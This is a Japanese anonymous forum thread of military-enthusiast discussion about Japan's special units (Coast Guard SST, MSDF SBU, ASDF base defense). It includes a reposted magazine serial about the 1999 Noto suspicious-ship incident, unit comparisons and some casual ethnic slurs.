隣国である、戦闘ノウハウを旧日本軍と米軍から受け継いでいる
(学んでいる)
似てくるのも無理無し。単に予算が同じくらいって事だろうけど。

>>277
これかな？
http://www.modelkasten.com/

Japanese special forces are off to rescue hostages

http://english.pravda.ru/accidents/21/93/375/12467_hostages.html

The destiny of the three Japanese hostages captured in Iraq (the teacher, the humanitarian mission employee and the reporter) is gruesome.
April 10 is the deadline given by the hostage-takers to Japanese authorities. The militants are threatening to kill hostages after this date.
Meanwhile, Japanese government refuses to fulfill the militants" demand - to withdraw the several hundred Japanese troops from Iraq.

"No way we can give up to the foul threats of the terrorists", said Japanese Prime Minister Junichiro Koizumi. He said it is necessary
to think about the hostages" safety and the measures to release them.

The relatives of the hostages are indignant with the officials" statements. On April 9 the relatives organized the demonstration near
the government building, they are demanding to withdraw the troops from
Iraq. The government sent a group of special forces to release the hostages. There is no information on the number of the servicemen
in the special forces unit and their equipment. This is the same unit
which rescued the group of Japanese architectures in Kyrgyzstan in 1999.

>>282
まじか？

>>282のネタはガイシュツだね。
出動したという特殊部隊はTRTのこと。
実際に現地で情報収集もしている。

ttp://news.kyodo.co.jp/kyodonews/2004/hostages/news/0424-228.html

火消し乙w

この特殊スレでは韓国アレルギーは少ないね。
でも続かないね。

JグランドにWAiR隊員のファストロープ風景載っていたね。

前回のSATマガジンの次号予告に最新号は今月２７日発売になってたけど、情報無いね。
発売延期？

週刊プレイボーイ（9月21日発売号）より転載

連載「はじめて明かされる海上保安庁特殊部隊SSTの真実」
１９９９年、能登沖。不審船上空にSSTのヘリはいた。（前編）

当時の報道で伝えられなかった不審船上空を飛ぶヘリとは。
1999年3月、日本海能登沖。ここで、戦後日本の国防体制を問い直す
大きな事件が発生した。

石川県・能登沖の日本海で23日、日本漁船を装った国籍不明の2隻
が領海侵犯し、（中略）・・・・・・・（1999年3月24日　　共同通信）

加えて青森県八戸基地の哨戒機も、警告の150キロ爆弾12発を不審船の
前後に投下。威嚇とはいえ、公海上で外国船に対し実弾を撃ったことに
世論は大きな衝撃を受け、連日のように報道が繰り返された。
しかし、この緊急事態にもっとも肉薄していた男たちの活躍について
は、連日の報道でも最後まで一切伝えられることなく、今にいたる。
そして、その男たちこそがこの連載の主人公である。！

日本の”国境警備”特殊部隊、海上保安庁特殊警備隊SST（Special
Security team)ー　実はその1個チーム8名を乗せたヘリが、あの夜、
その不審船上空にあったというのだ。

1999年3月24日未明。
荒れる日本海上空を高速で飛翔する、白と青で塗装されたヘリ「ベル212」
は不審船に接近しようとしていた。
ヘリの機内では無線が飛び交い、後方キャビンでは、黒ずくめの出動服に
防弾ベストと各種火気で武装した8名がそのやりとりを目をつむって聞いて
いる。
まもなく8名が一斉に目を上げた。
本部から「GO」の命令が出たのだ。
隊長が隊員のほうを見てひとりずつに「OKか？」のサインを出す。
各隊員は親指を立てて、それに応えた。

（中略）

すると機長の冷静な声がインカムから聞こえてきた。
「該船（不審船）、発見」
隊長は前方下をのぞき見た。全速で北方へ逃げる不審船が白波を蹴立てて
いた。
（中略）

隊長と副隊長は降下作戦の内容を決定し、さらにそれを機長に説明する。
こうして短い作戦会議が終了した。
隊長は機長に伝える。
「機長、時間区切りでください。」
「了解、降下5分前」
その声を聞いた隊員たちは、立ち上がると装備の最終チェックを開始した。
「装填！」
次々と火器に弾丸を装填していく。
H＆KMP5短機関銃、89式自動小銃、SIGP228拳銃が金属音を立てた。
「1分前！」
逃走を続ける不審船が彼らの眼下に迫ってきた。
そこに降下する。いや、殴りこみをかける。
＊
（中略）
海保「SST」。この連載ドキュメントは、これまで分厚いベールに包まれて
いたこの組織の創設から現在までの姿を初めて明らかにするものである。
取材に関しては、多数の海上保安官・関係者にあたり、彼らの証言をもとに
ストーリーを構成している。
（中略）
あくまでもこれは「ノンフィクション」であるということを本誌は強調
しておく。

場面はいったんさかのぼり、1999年3月23日昼。
SST隊員はいつものように関空に近い岸和田の基地で訓練と任務に励んでいた。
（中略）
しかし、この日の昼過ぎに鳴り響いた海保の内線電話は、本庁から隊長へ
次のような緊急指令を伝えたのだった。
「防衛庁から不審船情報が入った。出動態勢のできた待機部隊を作れ」
（中略）
隊員たちはすばやく装備ロッカーからゴーバッグ（特殊部隊で出動に必要な
個人装備が詰め込まれた出動鞄）を取り出す。
その中には2枚のユニフォーム、さらに下着、靴、個人用防護具（膝、肘など
を守るパッド）、防弾ベストのボディーアーマー、ホルスター、弾倉のついた
装備ベルトが入っている。
さらに、1週間の出動に耐える各種小物も用意されている。
（中略）
武器庫から出された各種銃器と弾薬がテーブルの上に並べられる。作動状況
が調べられ、弾倉に弾丸が込められていく。
それぞれの準備が終わると、今度は全体装備（チームとして持っていく装備）
の準備だ。
ラペリング（ヘリから船上への降下）に使われるロープに始まり、
潜水用機材、各種無線機、防弾用機材、火器、予備の弾薬といった道具を
そろえていくのである。
（中略）

命令を受けた8名は、すぐにワンボックスカーに個人装備と全体装備を搭載
し、基地を出発した。最初の行き先は関西国際空港。
（中略）
空港に到着したワンボックスカーは、一般客の使用しない臨時ゲートから
空港内へ入った。そこでは双発のプロペラ機が待ち受けていた。
海保の中型飛行機「サーブ340B」だった。出動服に身を固めたSST隊員は全体
装備と個人装備をすばやくサーブに移し替えていった。
準備がすむと、1870馬力の双発エンジンを全開させたサーブ340Bは、関西国際
空港の滑走路を蹴った。
（中略）
＊
ここから先は次週の「後編」に続く。
ただ、連載第1回目の最後に、ある海保庁職員の言葉を紹介しておきたい。
「映画化された漫画の『海猿』が有名になって、『人命救助』は海保の活動
の代名詞にもなりました。しかし、羽田に駐屯する『特殊救難隊』とSSTって
ずっと仲が悪いんですよ。なぜなら、特救隊の目にはSSTの任務は”人殺し”
に写りがちですからね。
（中略）
いまだに海保の中でさえSST肯定派と否定派で分かれてる状況ですから、まし
てや今の日本社会では彼らの任務は理解されにくいでしょうね。」
（海上保安庁・C氏）
この連載ノンフィクションは、そんな激しい矛盾のなか、「影の存在」として
日本の海を守り続けてきた彼らの知られざる実像に迫ろうとするものである。
（次週に続く）

>>289-293
転載おつかれさま。
しかし著作権法に違反してます。
勇気ありますね。

目新しい情報も無いのに転載乙。

>>291
このまま降下したの？

今月のSATマガジンに対人狙撃銃の写真がいっぱいある。

>>291
>「装填！」
>次々と火器に弾丸を装填していく。
>H＆KMP5短機関銃、89式自動小銃、SIGP228拳銃が金属音を立てた。
>「1分前！」
>逃走を続ける不審船が彼らの眼下に迫ってきた。
>そこに降下する。いや、殴りこみをかける。

カッコいい！！
読んでて、鳥肌がたった。

>>296
SSTの中の人は優れた人たちなので、
ヘリから飛び降りても無傷なのです。

結局逃げられてしまったワケだが・・・。

>>298
もちろんヘリの中は薄明かりの中照明は赤とミドリの
非常灯ですよねえｗ

>291
>H＆KMP5短機関銃、89式自動小銃、SIGP228拳銃が金属音を立てた。

H＆KMP5反機関銃だよ。もう一回プレイボーイ読んできな。
でもウザイので転載しなくていいよ。

明日プレイボーイ発売だねえ。
SST特集その２だねえ。

ＳＳＴが空自の迷彩作業服を採用してるって本当なのかな？青い識別帽。
いや、空曹の階級章（２若しくは３曹）が襟にちゃんと付いてるし、旧型サスペンダー着けてるし。
靴は支給されている空自の作業靴じゃなくて陸自の戦闘靴なのはお古を回してもらっているのかな？
間違いない、空自だな。基地警備教導隊？ＣＡＳ要員に狙撃はあまり必要なさそうだし。
どうなんだろうか？小倉に居た人のにしかわからんな。
小倉の写真見た限りあの服を着た人間だけがモザイクかかってる。
何故Ｍ２４が採用されたかって？
アメリカ帰りの準備室の奴がこれに汁！っ言っただけ・・・・
で、特戦だけだと高く尽くし、６４がいい加減ヘタって来たからまとめて更新しちゃえ、だってさ・・・
イティローさん、自衛隊はそう簡単には変われないよ・・・・・・

幕は幕でこのやり方に賛同しちゃったし、ついでに狙撃要員課程作ろうってか。
おめでてーな。場当たり的杉・・・
眼鏡かけた香具師教官にしてどうするってのよぉ。
これも「生みの苦しみ」かぁ？
＜用意周到動脈硬化　　　そんな生易しいもんじゃねーよ、陸自は。

とりあえず文章を整理しる

SATマガジンの話ですな。
陸自迷彩の顔モザイクもいるね。

コラSATマガジンSBUと特戦群だせ。

SATマガジン５号の１８〜１９頁の見開き写真で、顔モザイクの
隊員が何名かいるけど、とくに後方右側にたっている隊員の
迷彩服が他と違ってるような気がするが、これは何故？

SATマガジンにも載っていたが近年特殊部隊の格闘能力はやはり必要だろうな。
特に近接戦闘では銃の使用が大前提だがナイフなどの刃物に対する格闘術は
船内、室内では特に重要となってくるんじゃ。
素手による格闘は隊員のメンタル面強化策ととしては一番よい訓練だと思うし
自信と士気向上にも貢献する。特戦群も当然重要視しているはず、SBUは時代に
逆行してなけれがいいが。

>>310
＞SBUは時代に 逆行してなけれがいいが
今は知らないけど
SBUは陸自１３旅団から徒手格闘は習っている。

>>304
SATマガジンの写真にもニーパッド着けた隊員がいるし、映っていた空自迷彩は彼らでは？。
ttp://news.rkb.ne.jp/rkb_news/archives/001596.html

一つ疑問なんだけどさ
なんでモザイクかかってるの？

徒手格闘が強い陸自部隊って34普連と空挺団なのに、何故13旅団・・？

1J官氏に質問です。

SATマガジンに載っていた顔にモザイクがかかってた陸自迷彩服の隊員２名は特殊作戦群
の隊員ですか？

空自の基地防衛教導隊、なんで「防衛」なんでしょうね？
基地「警備」教導隊と名乗るべきではないでしょうか。

『防衛隊』は男の浪漫です。

素人なんで空自迷彩って初めて見たけどお洒落だね。
森林とかでの迷彩能力は陸で使ってる奴のが上なんだろうけど、色がかっこいい。

>>314
想像だけど、一番近いから。
ちなみに訓練相手は第４６普通科連隊ね。

>>319
やっぱりそうでしょうねえ。

ところで
ttp://www.13b.mae.jgsdf.go.jp/education.html
なかなかイイ画像が揃ってる。＞＞13旅団

何でみんな「１２旅団」とか、「１３旅団」って呼ぶの？
他の部隊は、「第１師団」とかか、「第４師団」と言わずに「４０普連」とか、「１普連」と呼ぶのに。

つまりだ、SSTに訓練協力をしているのが３７普連で、SBUに訓練協力をしているのが、
４６普連というわけね。

>>321
おそらく、なじみが薄いからかと。
連隊で呼ぶ方が好きですか？

言いにくいから。

>321
>320に限っていうなら、13旅団のWebからの紹介だからでそ。
特定の普通科連隊を指したいから**普通科連隊って言うだけの
ことでしょう（13旅団だって、内部に8、17、46、47の4つの普通科
連隊があるわけだし）。

１２旅団とかと呼ぶなら、４０普連とかも４師団と呼ぶのが筋だと思うけど。

そういえば、普通科連隊って、現在１〜４９まであるけど、
この中でも廃止された連隊もあると思うけど。
気のせいかな？

>326
それをいうなら、4師団内に編成されている40普連でないの？
4師団≠40普連なんだから。

それをいうなら、１３旅団内に編成されている３６普連でないの？
１３旅団≠３６普連なんだから。

それをいうなら、１３旅団内に編成されている１７普連でないの？
１３旅団≠１７普連なんだから。

このスレに書きこんでいるほとんどの奴が１２旅団（１３旅団）＝１個普通科連隊に相当する部隊だと勘違いしていると思ふ。

>>329
コラコラ36iは第3師団下だよ。

>>327
廃止された部隊は、１０普連、１４普連、２５普連、３０普連

>>331
だとしたらチョット悲しい。

>>334
勘違いしていると思うよ。
わざわざ１３旅団と書きこんでいるからね。
普通は４６普連とかと書くと思うよ。
４０普連のことを４師団とは書きこまないでしょ。

皆さん、今後は、【１３旅団隷下の○○普通科連隊】という書き方をしましょうね。

≠・・・この≠ってなんて呼ぶの？
意味は「〜同じではない」だよね？

つまりSBUは、英国海軍海兵隊SBSから特殊部隊に必要な基礎訓練を受けて、
第１空挺団から空挺降下課程を学び、１３旅団隷下の４６普連から
野戦及び徒手格闘秘術を教えてもらったということだな。

野戦を学んだなんて書いてないぞ。

SBUとSSTを分野別に比較するとどうなるかな？

毎度こういう釣り糸を投げ込む香具師がいるな。

＞＞340　釣られてみました
・射撃能力　：　近接、狙撃ともにほぼ互角（使用銃も大差ないが機関銃をSSTは持っていない）
・潜水能力　：　この分野はSBUは他の追従をゆるさマないでしょう
・格闘能力　：　武器を使用した格闘能力に関してはほぼ互角、素手に関してはSBUじゃないかな（人的プールから）
・ロープ降下能力　：　これもほぼ互角ただどれだけ実戦（危険）に即した訓練を取り入れているかで決まる
・船内CQB能力　：　キャリアの差でSSTに軍配が上がる
・装備の豪華度　：　SBU（予算の掛け方しかし海自は伝統的の装備するまで時間がかかる）
・訓練施設の充実度　：　圧倒的にSBU
・訓練環境（交流している部隊）度　：　SSTは各国の警察系部隊とよく合同訓練をしていい刺激をもらうことができる
　　　　　　　　　　　　　　　　　　　SBUはSBSやシールズなど世界最高クラスのノウハウを得ることができる

>>342
判断ｿｰｽは?

>>342
ちょっとSBUをひいき目に見ている気が…

正直どうでもいい。釣る奴も釣られる奴も荒らしだ。

そういえばまもなくPSIがわが国で（東京湾？）行なわれるな。
フランス、やオーストラリア、米、韓、などのボーディングチームが見られるぞ
イタリアはコムスビン辺りがくるのかな、海自のSBUとMITも見れるかな。

PSIに関しては、「周辺事態」や「海上警備行動」を想定すれば、臨検訓練もできますけど、
周辺諸国（チョンやシナ）の反発が怖いので、海自は艦艇と航空機を派遣するだけでつ

というわけで、臨検は海保SSTがやります。

ちなみにPSIin東京湾の開催は10月下旬です。

またSSTかよ,なにもチョンやシナの船舶を想定しなくても日本船籍でやればええんじゃねーの
それとも海自はまだ人様にお見せできる能力がないとか・・。新聞や各種雑誌社もようけ来るし

確かにSSTの訓練風景を見てもな・・・・見飽きたわ。
SBUを見たいわな・・・

見飽きたか…
まあ、確かに、高脅威目標へのエントリーは展示していないようではあるなあ…
漏れはSSTの対高脅威度目標エントリーを見たい(;´Д`)ﾊｧﾊｧ

数隻同時に来られたら対応出来ないな。

>>352
そんときは、35mm砲がものを言うﾓｰﾄﾞ。
複数船で来れば、それはそもそも国家主権の侵害だってば。

>>353
出来ると思う？今の日本で。
どこそこの海軍所属とハッキリしていれば直で当てられるだろうけど、今の日本じゃ、
少しでも不確実性があれば、難しいと思う。
前回ですらこちらの射撃で沈めたわけじゃないんだから。

>>354
やったじゃん。船体射撃。
当時は不審船にすぎなかった。
反撃を受けて、わざわざテロップに｢正当防衛射撃」と入れたのは、殺傷を厭わない実行制圧だったからだと思うが…

東シナ海で海保が実施した船体に向けての威嚇射撃・警告射撃（Warning Shot）は、
無力化射撃（Disabling Shot)と言ったほうが国際的には通用するらしいな。
シップアンドオーシャン財団の海洋白書2004に書いてあった。

PSI演習へのSSTの参加は見飽きたのどうのって問題じゃないからね・・・。
なんか国際的には海上保安庁が北太平洋地域での海上セキュリティーを担当することになってるから。
海自のSBUとかが見れるとしたら朝鮮有事を想定した日米合同演習とかじゃない？

>>354
確か、海軍や政府の船舶だと臨検を名目に射撃はできないよ。
不審船は、どこの国の何の船かわからんかったから、あーいったことができたんだよ。

北チョンの警備艇（海軍）が日本領海に侵入したら、対応するのは海自？海保？

>>358
海自じゃないの？海軍所属とハッキリしていれば。

>>358
３５９の言うとおり海保は軍隊を相手に出来ないはず。
世界の沿岸警備隊が軍艦相手に交戦をしたというのを聞いたことが無い。

法律かなんかであるのかも。

>>356

>なんか国際的には海上保安庁が北太平洋地域での海上セキュリティーを担当することになってるから。

そうなの？
中国や韓国の沿岸警備隊が黙っていないような・・・

>>358
例えば
１．政府が武力で排除する事を決めた場合
　　　　→自衛隊（防衛出動）

２．屈辱外交を展開
　　　　→海保が日本領海から出て行くよう（スピーカー等で）呼びかける（海保船の後ろに護衛艦を配置する）

ttp://www.kaiho.mlit.go.jp/info/kouhou/h16/k20040915/index.html
ttp://www.kaiho.mlit.go.jp/info/kouhou/h16/k20040924-2/index.html
いや中国も韓国も海保に対しては何も言えないはず。
中国の海事局も韓国の海洋警察庁も幹部を海保に派遣して研修を受けさせてもらっているし。

>>333
欠番の普通科連隊は
９　２３　２９　４５　の４つの番号。
第３師団が政経中枢師団に改編する際４５連隊（昔、京都の大久保駐屯地にあった）が
復活するとか。

４５個の普通科連隊に普通科教導連隊、対馬警備隊に西部方面普通科連隊、
沖縄第１混成群に３個空挺普通科大隊。
結構あるじゃん普通科部隊。連隊が実質火力増強大隊程度なのはさておきｗ
イギリス軍見たく連隊名を残しているのと同じかな？

SBUの特殊部隊としての能力って、ぶっちゃけどうなんだ？
SSTみたいに訓練公開しないのは、公開できるレベルに達していないからじゃないの？

手の内を明かさないためらしい。それに日本特有の問題もある。
今後も少し姿を現す事はあっても海保ほど大々的には公開しないと思う。
特殊作戦群も同じね。

>365
陸自の師団編成がアメ公の冷戦時の対核師団編成を基にしたからじゃなかったっけ？

>365
いくつかの連隊が即応予備自編成なので、充足率がちと
厳しい連隊もあるかも。
まぁ、常備を増やす方針だから、充足率は向上すると思う
けど・・・肝心の火力が削減だからなぁ・・・
スレ違いスマンです。

俺はＳＡＳ（イギリス空挺隊）の緊急対処マニュアル
や毛利先生の本（元傭兵）を読んで
練習してるから、銃を向けられても、そこそこ動けるじゃないかと
思ってるよ。やはり軍を経験してる奴は凄いな！

>>370
鯖板へ逝け

陸自の普通科連隊でも対遊撃訓練や市街戦訓練してるけど、
海外の歩兵部隊もこんな訓練をしているんでしょうか？

ｱﾒﾘｶは州兵を動員したとき、そういう訓練を受けさせている。

>372
市街戦訓練なんかアメ公はしまくりだろ
沖縄にだって市街戦訓練施設がるのに

しかしNHKでやっていたイラクに動員される州兵の訓練は
えらくしょぼかったけどなあ

>>373-5
ありがとうございます。米軍は対ゲリラ戦訓練も充実しているんでしょうか？

グリンベレーとか。

>376
陸自が公開したような山狩するような訓練は普通の歩兵はそれほど重視してないだろう
ああいうタイプのは陸じゃ１１、８２、１０１、レンジャー、SOF、海兵じゃレコンくらいだけじゃないか？

>>369
細かく言えば削減されるのは火砲だよ。
よってMLRSなどミサイル類は削減されないものもある。

良い話よのぉ〜

■基地に保護され、笑顔の戻ったご夫妻■

私の住むフェアバンクスから、南東約２６マイルにEielson Air Force Base
（アイルソン空軍基地）があります。基地の催し「オープンハウス」については、
昨年、この欄でご紹介しました。
今回は、Eielson Air Force Baseで行われたCope Thender '99（コープサンダー、
国際合同演習）に参加した日本の航空自衛隊員が、アメリカの民間人夫妻を
救助したという話題をお伝えします。私はこの期間、基地で通訳の仕事をしていて
このニュースを知り、救助されたお二人にも、お話を伺うことができました。

航空自衛隊は７月５日から３週間の日程で演習に参加しました。
Cope Thenderも終わりに近づいた２０日のことです。仙台出身の渡辺剛隊長ら６人
が、空軍基地から２０マイル以上離れた演習場で、基地防空訓練をしていました。
午前の訓練も一段落した午後１時半ごろ、丘の上にある基地の下の方から、人の声が
一定間隔で聞こえてきたそうです


http://jyoho.kahoku.co.jp/alaska/ala22.htm

>>380
これが日本だったら・・・・

感動！！！

>>378
ありがとうございます。

>>378
一応海兵隊には山岳戦闘訓練学校なるものがある。
受講できるのは何もレコンだけとは限らんから、一般の海兵隊員もする
のかもな。どんな訓練か目で見た訳じゃないから、なんともいえんが。。

SATマガジンの狙撃銃特集で空自の人も一緒に教育受けてたな。
何故か全員モザイク入りだったが、空自にモザイク入れないと不味いような部隊あったっけ？
例の基地防衛教導隊とやらはモザイク必須の部隊なのか？

防衛庁は二十一日、テロやゲリラから航空自衛隊の基地を守る専門部隊として、空自に
「基地防衛教導隊」（仮称）を新設する方針を固めた。基地や航空機が陸上から攻撃され
る事態に機動的に派遣し、平時には基地の警備要員を指導して警備能力の向上を図る。
　平成十八年度に新設に向けた準備室を設置、二十年度に部隊を発足させる方針。部隊
の規模は約二百人体制になる見通しで、部隊を指揮する隊司令も置く。
　新たな装備として軽装甲機動車、軽機関銃を配備する。軽装甲機動車は陸上自衛隊部
隊などに配備され、軽対戦車誘導弾の車上射撃が可能。特殊部隊によるテロ攻撃などの
危険性を踏まえ、空自として対処能力を強化する。
　空自の基地は全国に七十二あり、基地防衛では各基地ごとに約四十人の警備小隊を
置いている。しかし、「特殊部隊の基地侵入や滑走路が破壊されるようなテロやゲリラの
攻撃には、現状では装備、技術の両面で対応できない」（防衛庁幹部）という。
　実際の有事の際の基地防衛の流れは、初動は基地の警備小隊が対処、その後に陸自
の支援を受けられるまでの間、基地防衛教導隊が展開して敵の攻撃を阻止する。
　一方、空自はミサイル防衛（ＭＤ）で高速飛行の弾道ミサイルを捕捉できる新型警戒管
制レーダーの導入を目指しているが、レーダーサイトが攻撃される危険性も高く、基地防
衛教導隊はサイトの防衛についても研究に着手する。
　通常のレーダーサイトは攻撃を受けても、Ｅ−２ＣやＡＷＡＣＳといった早期警戒機が代
替機能を果たすが、政府が二十年度から四基の配備を目指している地上配備型の新型
警戒管制レーダー「ＦＰＳ−ＸＸ」が破壊されれば代替手段がなく、弾道ミサイルに対する
迎撃能力が失われてしまうためだ。

そんな部隊作らせるより人増やせよ。
まぁ無理か、、、

>387
それよかＦＰＳ−ＸＸを代替できるＡＷＡＣＳを作ろうよ。

７７７か７４７になら載せられるだろ。

>>388
人の少なさの方が致命的だと思う。

大量破壊兵器拡散防止訓練　中韓参加せず
ttp://www.tokyo-np.co.jp/00/sei/20041003/mng_____sei_____000.shtml

日本政府は当初、海上自衛隊の護衛艦などを使用し、船舶立ち入り検査の訓練を行うことも検討した。
しかし、北朝鮮への刺激を避けるために、訓練上の海自の役割を警戒監視、情報提供などに限定する方向で準備を進めることにした。

来週放送の鉄腕DASHの予告で、ロープにつかまってる3人組が建物へ窓を蹴破って
突入するシーンがあったけどこれって陸自なのかな。

>>391
来週になればわかること。

予想どおりの展開でつ。
SBU,MIT共に臨検訓練に参加せず。
http://www.tokyo-np.co.jp/00/sei/20041003/mng_____sei_____000.shtml

>>393
またSSTかよ・・・

>>394

SSTの訓練はもう見飽きたか？

・・・そう言わずに見てやってくれ。
海保も予算獲得に必死なんだから。

でも、海保がいくらアピールしても海外の関係者が感心するだけで
国内の政治家がまったく興味を持ってくれない・・・。

＞３９６
安心しろ。憂国の士、西村神が居られる。

>>396
国土交通大臣が葬火だもんな。

西村眞悟は海保に対して理解があるとはいえんぞ?
西村議員が無断で尖閣諸島に上陸しようとして、海保に阻止されたりして
そのときのことを「海保には汚れ仕事を進んでやる連中がいる」とか言ってたし、
工作船事件のときも「海保は軍隊ではないから軍規も無い。今回は明らかにオーバーキルだ」
とか言ってたよ・・・。

西村なんぞに期待するアホがいるのかよ・・・。

密かに海保は海自に対して対抗心を抱いているのでは？

>>401
「オタ」でしょ。
密かに海保オタは海自オタに対して対抗心を抱いている〜

メディアで言われるほど海保と海自の仲は悪いわけではないよ・・・。

海保に短魚雷くらい装備させてあげたい……

カナダあたりのコーストガードは密漁船にも魚雷ブチ込むんだよな？

カナダのコーストガードは警察権を持っていないし非武装。
救難と氷海啓開、航路安全が任務。
領海警備や法執行は海軍と王立騎馬警察省海上部隊が行う。

下記の中で深刻なほど仲が悪い組織の組み合わせはどれだ？

・海自ー海保
・陸自ー警察
・海保ー警察
・海自ー空自
・海自ー陸自
・陸自ー空自
・海自ー警察
・空自ー警察
・海保ー陸自
・海保ー空自
・とんねるずーダウンタウン
・SAS−SBS
・GSG9-KSK

>>405
実際に世界の国々を見てみると、沿岸警備隊がある国って少ないんだよね。
あっても、国防省や海軍隷下が大半なんだよ。

あとは、警察や国境警備隊なんかが兼任しているんだよ。

フィリピンなんか最近沿岸警備隊が創設されたけど、実際は海軍の一部隊がそのまま沿岸警備隊になって
独立しただけなんだよなあ。
インドやアイスランドもそう。

イギリスなんか、沿岸警備隊はあるけど、ほとんど機能していない上に、海軍が未だに領域警備
や密漁の取締りをしているし。

海保は世界の沿岸警備隊の中では、アメリカ、ロシアに次いで世界第３位の人員規模だってよ。
アジアではナンバー1
しかし１万２千人規模しかないのに、世界第３位か・・・
ちなみにUSCGは約４万５千人で、海自と同じぐらい。

東南アジアでは海保型コーストガードがブームだな。
海軍は犯罪組織との癒着が激しくて取締りでは使い物にならないんだとか。

アイスランドには隊員128名と1000トンクラスの巡視船3隻の小さなコーストガードがある。
この非武装国家にとって唯一の国防力である。

イギリスのコーストガードは1923年に警察任務を海軍に移管し、
今では海難救助における連絡調整機関として機能している。
ただし、ヘリを主力とした救難部隊は保有。

>410
> 東南アジアでは海保型コーストガードがブームだな。
> 海軍は犯罪組織との癒着が激しくて取締りでは使い物にならないんだとか。
つか、国によっては海軍が海賊兼業つーところも……先祖帰りというべきかな。

ロシアの場合沿岸警備は連邦保安庁国境警備局が担当。
ただし、陸上の国境警備や国内での対テロ、要人警護も担当しているため
他国の機関と単純に比較しにくい。

ひとつだけ断言できるのはSSTは、沿岸警備隊の特殊部隊の中では
TACLETと双璧のトップレベルを保っているということだ。

日本の特殊部隊の中で、唯一豊富な実戦経験がある。

豊富…

おまいら来週の鉄腕ＤＡＳＨのソーラーカーの旅に何故か陸自の
対市街戦訓練の様子が出てくるぞ。

というか、沿岸警備隊の特殊部隊ってあんまりないんじゃない？
海保とシンガポール警察沿岸警備隊（SPCG）の合同訓練でSSTと
訓練した部隊は警察の特殊部隊だったし。

TACLETもあんまり知られてないな・・・。
ttp://www.taclet.com/

ほかには最近、銃器雑誌でロシア国境警備隊海上検査部隊が取り上げられたりしたくらい。

＞406
海自−警察
それ、ウチの親子関係。父、警視庁警察官（元陸自）
息子、海上自衛官。



・・・勿論、仲は・・・


むちゃくちゃ悪いです。・・・ﾄﾞｳﾃﾞﾓｲｲｶ、ｿﾝﾅｺﾄﾊ

鳥取の部隊ということは例の連隊長が登場する悪寒。
http://rupan.zive.net/~kain/cgi-bin/upload/src/up2475.avi.html

海上自衛隊特別警備隊　　＝海軍歩兵師団
航空自衛隊基地防衛教導隊＝空軍地上師団

>>411
SSTは銃撃戦を経験したことあるのですか？

きっと>>419は意味もよくわからないまま師団という言葉を使っているのだろう。

・射撃能力　：　近接、狙撃ともにほぼ互角ではあるが、実績＆練度から見てSSTに軍配
・潜水能力　：　この分野はSBUは他の追従をゆるさないでしょう
・格闘能力　：　武器を使用した格闘能力に関してはほぼ互角、素手に関してはSBUに軍配
・ロープ降下能力　：　これもほぼ互角だけどれ実戦（危険）に即した訓練を取り入れているSSTに軍配
・船内CQB能力　：　実績の差でSSTに軍配
・装備の豪華度　：　圧倒的にSBUに軍配
・訓練施設の充実度　：　圧倒的にSBUに軍配
・訓練環境（交流している部隊）度　：　SSTは各国の警察系部隊とよく合同訓練をしていい刺激をもらうことができる
　　　　　　　　　　　　　　　　　　　SBUはSBSやSEAL等の世界最高クラスの特殊部隊からノウハウを得ることが、頻繁
　　　　　　　　　　　　　　　　　　　　度で言えば、SSTに軍配

SSTの関連年表

●関連年表●

85年関西空港海上警備隊が創設される。
88年ソウルオリンピックの期間中にテロやシージャックに備えるために日韓を結ぶフェ
　　　リー航路付近を関西空港海上警備隊が警戒監視任務に就く。　　　
89年東シナ海でパナマ船籍の鉱石運搬船内で船員が暴動を起こす事件が発生し、
　　　関西空港海上警備隊が出動して暴動を鎮圧。
90年プルトニウム輸送船を護衛する為に関西空港海上警備隊の隊員を選抜し、輸送　
　　　船警乗隊を創設する。米海軍SEALSから対テロ作戦等の教育を受ける。　
92年フランスから日本へのプルトニウムを輸送した運搬船あかつき丸に輸送船警乗
　　　隊が乗り組み警戒警備をする。
96年関西空港海上警備隊と輸送船警乗隊が統合され、特殊警備隊（SST）が創設さ
　　　れる。
99年能登半島沖での不審船事件の際にSSTは追跡中の巡視船に乗船して不審船停
　　　船後の強行臨検に備えていた。
　　　一時ヘリに乗船し、不審船上に降下を試みるが、断念。　
00年東シナ海を航行中のシンガポール船籍の貨物船で船員が暴動を起こす事件が　
　　　発生。SSTが出動して暴動を鎮圧する。
01年奄美大島沖での不審船事件で出動準備をしていた。

SBU関連年表

99年不審船等への臨検を任務とする特殊部隊の創設を決定し、部隊編成を開始する。
00年米海軍SEALsに訓練依頼をするが、「日程の都合」で断わられるが、代わりに英海兵隊SBSから訓練を受ける。
00年部隊編成が完了し、不審船等への臨検を任務とする特殊部隊「特別警備隊」が創設される。
01年不審船等への臨検を任務とする特殊部隊「特別警備隊」が正式開隊される。
01年奄美沖での不審船事件で政府から「出動待機命令」が発令されるが、不審船が自沈した為に実際の出動は無かった。
01年〜テロ特別措置法でインド洋に派遣されている自衛艦に数名のSBU隊員が対テロ攻撃に警戒して乗船している。

コピペ厨は死ね。

やはりＳＢＵよりもＳＳＴの方が総合的に上回っているということだな。

>>393
SBU,MIT共にこの様な大きな訓練に参加し実績を積みあげていかないといざと
いうとき使い物にならなくなるんじゃないかな
大量核兵器拡散防止に対しわが国の意思を世界に知らしめるためにもいい機会だと思うが
これじゃ北朝になめられるではないか。

SSTはもういいよ、いづれ抜かれるんだから

そんなにSBUが見たいならならプロ市民と野党
とマス塵をなんとかしろよ。

SBUがSSTを追い抜くのはいつ頃なんだ？

>>430

残念ながら永遠に追い抜けない・・・・諦めろ。

SSTが日本最強の特殊部隊だ。

対馬警備隊の識別帽に英記略称が「ASF」になっているけど、何の略かな？

http://www.4d.wae.jgsdf.go.jp/asf/newpage-asf.htm

>>431
5年後

A アナル
S スペシャル
F ファック

>>432
A？？
S警備
F部隊

A=アリラン

陸上自衛隊の普通科って何でも屋だな。

Area Security Force

不審船工作船対策は海自に全面的任せた方が正解だね
臨検隊の不測事態支援能力
海保＝・ヘリからの８９式による支援
　　　・巡視船より狙撃支援
　　　・巡視船搭載のＲＦＳ，３５，４０ｍｍによる火力支援
　　　・高速艇によるＭ２間接支援
海自＝・ヘリからの８９式による支援
　　　・へリ自体による７．６２ｍｍ機銃による支援
　　　・護衛艦から狙撃支援
　　　・護衛艦搭載のＭ２，２０ｍｍ、７６ｍｍ、１２７ｍｍによる圧倒的火力支援
　　　・搭載艇によるミニミ、６２式による間接支援
　　　・空自戦闘機によるエアーカバー
　　　・対象国戦闘艦艇に対する圧倒的制圧能力
よって工作船に対しては海自が担当するのが妥当
またＭＩＴに関してはまだまだ能力不足（特に海警行動、有事の際の臨検に関しては
不測事態対処能力がかなり低い）ＳＢＵも人数が限られておりすべての臨検にＳＢＵ
